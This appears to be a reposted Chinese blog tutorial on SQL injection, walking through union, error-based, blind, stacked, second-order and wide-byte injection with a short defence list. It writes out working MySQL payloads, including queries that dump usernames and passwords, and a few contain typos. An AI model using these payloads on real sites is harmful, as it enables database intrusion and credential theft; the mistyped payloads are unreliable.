【web安全】SQL注入篇

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦

【web安全】SQL注入篇

  • SQL注入漏洞基础
  • SQL注入分类
  • 判断注入点
    • 1. 区分请求类型(get、post)
    • 2. 判断是否存在注点
    • 3. 区分注点(数值型、字符型)
  • sql基本语句
  • 注入方式
    • 联合注入
    • 报错注入
      • updatexml()
      • extractvalue()
      • floor()
    • 盲注
      • 布尔盲注
      • 时间盲注
      • dnslog盲注
    • 堆叠注入
    • 二次注入
    • 宽字节注入
    • 伪静态注入
  • 防御方案


SQL注入漏洞基础

漏洞描述

攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击
者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

sql 注入原理

服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作sql语句执行,从而影响数据库安全和平台安全。

利用条件

1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。

2.未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。

mysql查询语句

select ... from ... where ...=...
select group_concat(table_name)		

group_concat()函数用于将多行结果合并成一个字符串。

SQL注入分类

基本类型基本手法方式注入点位置
数字型
字符型
报错注入
联合查询
布尔盲注
延时注入
堆叠查询
GET注入
POST注入
Cookie注入
HTTP头部注入
URL注入
搜索框注入
留言板注入
登录框注入

判断注入点

1. 区分请求类型(get、post)

get 在url处进行注入

post 在有输入框进行交互的地方

2. 判断是否存在注点

添加动态参数 id = 1'

如果报错则存在注入点

不报错则证明不存在注入点或没有回显

3. 区分注点(数值型、字符型)

  1. 数值型

    id=1 and 1=1
    id=1 and i=2
    

    若不报错则证明其不是数值型

  2. 字符型

    id=1' and '1'='1
    id=1' and '1'='2
    

    若不报错则证明其不是字符型

    第一个'作用是闭合

sql基本语句

  1. 判断列数

    ?id=1 order by 1 
    ?id=1 order by 2
    ...
    

    一直到报错没有显示为止

  2. 判断回显位(假设列数为3)

    ?id=1 and union select 1,2 -- -
    ?id=1 and union select 1,2,3 -- -
    

    1,2,3为占位符

  3. 判断之前order by得到的列可不可以回显数据:

    假如不能回显那就去使用盲注

    假如我们发现显示了一个3,说明第三个会显示在页面上,我们就可以开始注入了。

注入方式

联合注入

必须前一条无法回显(错误)才能显示第二条

union联合查询

­显示出登录用户和数据库名

union select 1,user(),database() -- -

查看数据库有哪些表

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

解释:从information_schema数据库的columns表中查询security数据库下users表的所有列名。

查看账号密码信息

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

0x7e中,0x代表16进制,7e在ASCII码表中对应~

报错注入

无回显无法用sql注入,使用mysql报错函数(共12种)

若常规报错函数被ban掉,在官方手册找平替报错函数(越小众越好)如:polygon()

updatexml()

用于在xml中获取特定节点并更新其值

查询数据库名,例:

? id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

extractvalue()

查询数据库名,例:

? id=1 and extractvalue (1,concat(0x7e,(select database())))--+

floor()

用于mysql在xml中取整或确定下限(不常用)

'FLOOR(4.7)'	返回'4'
'FLOOR(-4.7)'	返回'-5'

floor报错原理

利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键key冗余,导致报错

示例代码:

? id=1 and (select count(*),(floor(rand(0)*2)) as x from table_nam group by x)

盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断,可以通过写python脚本实现自动化

布尔盲注

  1. 判断数据库类型(MYSQL、access、SQLServer)

    • 判断是否是MySQL数据库

      and exists(select * from information_schema.tables) --+
      
    • 判断是否是access数据库

      and exists(select * from msysobjects) --+
      
    • 判断是否是SQLServer数据库

      and exists(select * from sysobjects) --+
      
  2. 判断数据库名长度length()

    ' and length(database())=8--+
    

    8为判断长度

    通过页面是否报错或正常显示来判断它的长

  3. 猜测数据库名

    1. 一位一位猜 left()

      ' and left(database(),3)>'sec' --+
      

      '3’为位数,'sec’为猜的字符

    2. 用ascii码,二分法 substr()

      ascii(substr((select database()),1,1))=115--+
      

      SUBSTR函数:用于从一个字符串中提取子字符串。可以指定起始位置和长度

=也可以替换成>likelike为模糊查询

时间盲注

  1. sleep()函数

    利用sleep( )语句的延时性,以时间线作为判断条件

    ' and sleep(5) --+
    ' and if(1=1,sleep(5),1) --+
    ' and if(ascii(substr(daatbase(),1,1))<100,sleep(5),null) --+
    

    if为判断语句,判断’1=1’,如果成立执行’sleep(5),不成立执行’1’

  2. WAITFOR DELAY’0:0:5’

dnslog盲注

堆叠注入

原理:

将多条sql注入语句堆叠在一起进行查询,且可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload

优势:

联合查询union也可拼接语句(有局限性),但是堆叠注入能注入任意语句

union执行一条语句,堆叠执行多条(需要分号)

局限:

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行

例:

1';creat table A2rcher like users;--+

可实现rce远程 命令/代码 执行

sqlmap自动注入

二次注入

  1. 将admin’#插入数据库 设密为:123456 第一次注入

    更改admin’#的密码 654321 第二次注入

  2. 登陆admin发现密码被更改为654321

原理:1)用户向数据库插入的语句被转义和过滤的不够彻底(即使后端代码对语句进行了转义,如mysql_ escape_
(2)数据库直接取出数据,不对数据进行转义

宽字节注入

宽字节注入准确来说不是注入手法,而是一种比较特殊的情况,目的是绕过单双引号转义。

条件:宽字节编码,绕过限制

常见的宽字节概念包括以下几种情况:

1.宽字节字符集

在字符编码中,“宽字节”常指的是每个字符使用多个字节(通常是2字节或4字节)进行编码的字符集。这与“窄字节“字符集(如ASCII或UTF-8的单字节模式)相对。

窄字节:字符大小为一个字节

**宽字节:**字符大小为两个字节

3.宽字节编码比较

· UTF-8:“汉”的UTF-8编码是0xE6 0xB1 0x89(三个字节)。

· UTF-16:“汉”的UTF-16编码是0x6C49(两个字节)。

· UTF-32:"汉”的UTF-32编码是0x00006C49(四个字节)。

伪静态注入

静态页面:不会动,与用户没有交互的页面,

伪静态页面:中间件加载了伪静态插件代码其实不是真正的静态页面,一般用于政府和学校,显示html页面

防御方案

代码方面防护

各种函数过滤

防御脚本,用include函数含在web配置文件中

web防护

PDO预处理

waf防护

云端防护

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/53221.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

当采用 JSON 格式的数据进行响应时,对象是否需要序列化取决于什么?

目录 1.使用 JSON 库进行序列化 2.使用 Java 的默认序列化机制 当采用 JSON 格式的数据进行响应时&#xff0c;对象是否需要序列化取决于你是如何将对象转换为 JSON 格式的。在Java中有两种情况&#xff1a; 1.使用 JSON 库进行序列化 如果你使用的是像 Jackson、Gson 或 F…

基于yolov8的红绿灯目标检测训练与Streamlit部署(代码+教程)

项目背景 随着智能交通系统的快速发展&#xff0c;自动驾驶技术逐渐成为研究的热点。在自动驾驶领域中&#xff0c;准确识别道路上的交通信号灯是确保车辆安全行驶的关键技术之一。近年来&#xff0c;深度学习技术的发展为交通信号灯的识别提供了强大的支持。YOLO&#xff08;…

集成电路学习:什么是I/O输入输出

I/O&#xff1a;输入输出 I/O&#xff0c;全称Input/Output&#xff0c;即输入输出&#xff0c;是信息处理系统&#xff08;如计算机&#xff09;与外部世界&#xff08;可能是人类或另一信息处理系统&#xff09;之间的通信方式。具体来说&#xff0c;输入是系统接收的信号或数…

几款免费的时序数据库对比

InfluxDB、TDengine、OpenTSDB、QuestDB都是当前主流的时序数据库&#xff0c;它们在性能、功能、适用场景等方面各有特点。下面将从多个维度对这四个数据库进行对比分析&#xff1a; 一、性能 InfluxDB&#xff1a; 高效的时间序列数据写入性能&#xff0c;自定义TSM引擎&am…

【Java那些事】关于Git的使用

目录 下拉代码仓库篇 上传代码篇 下拉代码仓库篇 第一步&#xff0c;下拉代码&#xff0c;复制链接。 &#xff08;从开源网站上复制链接&#xff09; &#xff08;建立本地仓库&#xff09; 这里的URL一般都会自动填充刚刚复制的链接【瞅瞅&#xff0c;确保是想要的那个项…

MATLAB中的线性规划与非线性规划

目录 1. 引言 2. 线性规划&#xff08;LP&#xff09; 2.1 线性规划的基本概念 2.2 MATLAB中的线性规划求解 2.3 线性规划的应用 3. 非线性规划&#xff08;NLP&#xff09; 3.1 非线性规划的基本概念 3.2 MATLAB中的非线性规划求解 3.3 非线性规划的应用 4. 线性规划…

如何在 Linux Terminal 中使用 Cmd+C复制,Cmd+V粘帖?

Fact&#xff1a; Linux 里&#xff0c;CtrlC 被很早用于 kill 当前 terminal 中运行的进程。因为历史原因&#xff0c;Linux 发行版里&#xff0c;没有 Command 键 【历史背景】Mac 中用 CtrlC kill 进程&#xff0c;使用 CmdC执行复制通常&#xff0c;Mac 的 Linux 虚拟机里…

安防监控视频平台LntonAIServer视频智能分析平台新增视频质量诊断功能

随着安防行业的快速发展&#xff0c;视频监控系统已经成为维护公共安全和个人隐私的重要工具。然而&#xff0c;由于各种因素的影响&#xff0c;视频流的质量可能会受到影响&#xff0c;从而导致监控效果不佳。为了解决这一问题&#xff0c;LntonAIServer推出了全新的视频质量诊…

函数重载的奥秘

现实世界中”重载”无处不在&#xff0c;”某某可以做&#xff0c;这里为什么不可以做”不断告诉我们&#xff0c;人类从来都喜欢follow一些规则&#xff0c;不愿意改变。函数重载不是重载的全部&#xff0c;运算符一样可以重载。 重载形式 C语言不支持重载&#xff0c;类似的…

Gitee镜像关联GitHub仓库

申请 GitHub 私人令牌 GitHub 私人令牌用于授予 Gitee 读写 Github 仓库的权限。 1&#xff09;登录GitHub&#xff0c;通过 个人头像 > Settings > 下拉左侧菜单栏进入 Developer settings。 2&#xff09;Personal access tokens > Tokens(classic) > Generate …

hackme靶机通关攻略

用nmap扫描端口 进入靶场后在首页注册登录 登录后进行抓包 复制下来保存为txt文档&#xff0c;使用sqlmap进行注入 查数据库&#xff08;这里是在桌面打开的终端&#xff0c;因为txt文档我是建在桌面的&#xff09; sqlmap -r \3.txt --current-db 查表 sqlmap -r \3.txt -D …

解密Docker核心:深入理解Docker基础架构

随着云计算技术的普及&#xff0c;Docker容器技术在现代应用开发和部署中占据了重要地位。要充分理解Docker的优势与运用&#xff0c;深入掌握其基础架构是关键。本文将深入探讨Docker的核心组成部分及其在容器化平台中的角色和作用。 一、Docker的基础架构概述 Docker的基础…

Linux 上如何做MySQL数据备份

目录 SQL备份脚本创建crontabcrontab命令总结查看特定目录中的周期性任务 crontab&#xff08;cron table 的缩写&#xff09;是 Unix/Linux 系统上用于设置周期性被执行的任务的工具。它允许用户定义需要在特定时间&#xff08;比如每天凌晨、每周的某个时间等&#xff09;自动…

16个你必须掌握的Python数据类型

文末赠免费精品编程资料~~ Python&#xff0c;以其简洁的语法和强大的数据处理能力&#xff0c;成为初学者和专业人士的首选语言。数据类型是Python编程的基石&#xff0c;理解它们对于编写高效、清晰的代码至关重要。下面&#xff0c;我们将逐一探索并实践Python中10个核心数…

多模态生成发文量大涨!最新成果统一Transformer和Diffusion,含金量超高

最近多模态生成领域也在“神仙打架”&#xff0c;比如Meta的全新训练方法Transfusion&#xff0c;用单个模型就能同时生成文本和图像&#xff01; 还有之前华为、清华提出的个性化多模态内容生成技术PMG&#xff0c;生成的内容可“量身定制”&#xff0c;更能满足偏好。 这些…

使用Blender云渲染的好处是什么?

​Blender是一款功能强大的开源3D创作软件&#xff0c;用于包括建模、动画、仿真、渲染、合成和视频编辑在内的多种应用。然而&#xff0c;Blender的渲染过程有时可能非常耗费资源&#xff0c;特别是处理复杂的3D场景时。作为CG行业不可或缺的一部分&#xff0c;云渲染通过使用…

sqlite3的db.wait方法:等待所有查询完成

Node.js中sqlite3的db.wait方法深入解析 在Node.js环境中&#xff0c;sqlite3库为开发者提供了一个与SQLite数据库进行交互的简洁API。在处理数据库操作时&#xff0c;有时需要等待直到所有的查询都完成&#xff0c;这时db.wait方法就显得尤为重要。本文将深入解析sqlite3库中…

shell脚本1----编程规范与变量

shell脚本 shell的功能 Shell&#xff08;壳程序&#xff09;是一个特殊的应用程序&#xff0c;它介于操作系统内核与用户之间&#xff0c;充当了一个“命令解释器”的角色&#xff0c;负责接收用户输入的操作指令&#xff08;命令&#xff09;并进行解释&#xff0c;将需要执…

【大数据】kafka与Zookeeper不得不说的关系!

文章目录 一、开场白&#xff1a;大数据时代的“黄金搭档”二、正文1. Kafka与ZooKeeper的那些事儿2. ZooKeeper的选举&#xff1a;一场“王位争夺战”3. Kafka的“备胎”计划&#xff1a;告别ZooKeeper的日子4. 源码揭秘&#xff1a;一探究竟的“八卦之旅” 三、结尾&#xff…

深入了解linux下TCP并发服务器和IO模型的实现

一、整体框架 在网络编程中&#xff0c;服务器的架构可以根据需求不同而有所不同。主要有以下几种框架&#xff1a; 1. 单循环服务器&#xff1a;同一时刻只处理一个客户端的请求&#xff0c;通常使用传统的阻塞式编程模型。这种模型简单易实现&#xff0c;但处理能力有限&am…